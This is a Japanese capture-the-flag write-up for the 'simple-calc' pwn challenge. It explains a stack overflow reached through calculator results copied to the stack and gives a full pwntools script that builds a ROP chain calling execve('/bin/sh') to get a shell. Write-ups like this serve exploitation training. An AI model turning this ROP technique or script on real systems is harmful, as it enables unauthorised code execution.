tsunさんとSECCON翌日のpwn会で解いた。ふたりでやって$2$時間かかった。ROPで面倒な方法をしてたらtsunさんに先をshellを取られたりもした。

solution

計算をしてくれる。 入力値が小さいとDo you really need help calculating such small numbers? Shame on you... Byeと煽られたりする。

malloc/freeの都合からかstatically linked。

$ file simple-calc
simple-calc: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=3ca876069b2b8dc3f412c6205592a1d7523ba9ea, not stripped

$ ./simple-calc

	|#------------------------------------#|
	|         Something Calculator         |
	|#------------------------------------#|

Expected number of calculations: 100
Options Menu: 
 [1] Addition.
 [2] Subtraction.
 [3] Multiplication.
 [4] Division.
 [5] Save and Exit.
=> 3
Integer x: 42
Integer y: 108
Result for x * y is 4536.

Options Menu: 
 [1] Addition.
 [2] Subtraction.
 [3] Multiplication.
 [4] Division.
 [5] Save and Exit.
=> 5
zsh: segmentation fault (core dumped)  ./simple-calc

revすると以下のようになる。 計算結果がstackに書き込まれるのでropすればよい。 freeの引数が壊れるが、これはfree(NULL);になるようにすれば落ちない。

int add[3];
void adds() {
    input add[0] and add[1]...
    assert (40 <= (unsigned) add[0]);
    assert (40 <= (unsigned) add[1]);
    add[2] = add[0] + add[1];
}
int sub[3];  void subs() { ... }
int mul[3];  void muls() { ... }
int divv[3]; void divs() { ... }
int main(void) {
    print banner...
    input expected number of calculations...
    assert (4 <= n && n <= 255);
    int *buf = malloc(n * sizeof(int));
    for (int i = 0; i < n; ++ i) {
        print menu...
        input choice...
        if (choice == 1) {
            adds();
            buf[i] = add[2];
        } else if (choice == 2) {
            subs...
        } else if (choice == 3) {
            muls...
        } else if (choice == 4) {
            divs...
        } else if (choice == 5) {
            memcpy(stack, buf, n * sizeof(int));
            break;
        } else {
            ...
        }
    }
    free(buf);
    return 0;
}

implementation

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
# parser.add_argument('host', nargs='?', default='localhost')
# parser.add_argument('port', nargs='?', default=8000, type=int)
parser.add_argument('--log-level', default='debug')
parser.add_argument('--binary', default='simple-calc')
args = parser.parse_args()
context.log_level = args.log_level
elf = ELF(args.binary)

# p = remote(args.host, args.port)
p = process(args.binary)
p.recvuntil('Expected number of calculations: ')
p.sendline('255')
def calc(op, x, y):
    p.recvuntil('=> ')
    p.sendline(str({ '+': 1, '-': 2, '*': 3, '/': 4 }[op]))
    p.recvuntil('Integer x: ')
    p.sendline(str(x))
    p.recvuntil('Integer y: ')
    p.sendline(str(y))
def write64(value):
    for z in [ u32(p64(value)[:4]), u32(p64(value)[4:]) ]:
        for x in range(0x100):
            y = (x - z) % 0x100000000
            if x >= 40 and y >= 40:
                calc('-', x, y)
                break
        else:
            assert False

write64(u64('AAAAAAAA'))
write64(u64('AAAAAAAA'))
write64(u64('AAAAAAAA'))
write64(u64('AAAAAAAA'))
write64(u64('AAAAAAAA'))
write64(u64('AAAAAAAA'))
write64(0) # free
write64(u64('AAAAAAAA'))
write64(1) # rbp

# write /bin/sh
write64(0x401b73) # pop rdi ; ret
write64(0x006c2000 - 8)
write64(0x44db34) # pop rax ; ret
write64(u64('/bin/sh\0'))
write64(0x40dc26) # mov qword ptr [rdi + 8], rax ; ret

# sys_execve
write64(0x401b73) # pop rdi ; ret
write64(0x006c2000)
write64(0x401c87) # pop rsi ; ret
write64(0)
write64(0x437a85) # pop rdx ; ret
write64(0)
write64(0x44db34) # pop rax ; ret
write64(59) # sys_execve
write64(0x4648e5) # syscall

p.recvuntil('=> ')
p.sendline('5')
time.sleep(1)
p.sendline('id')
p.interactive()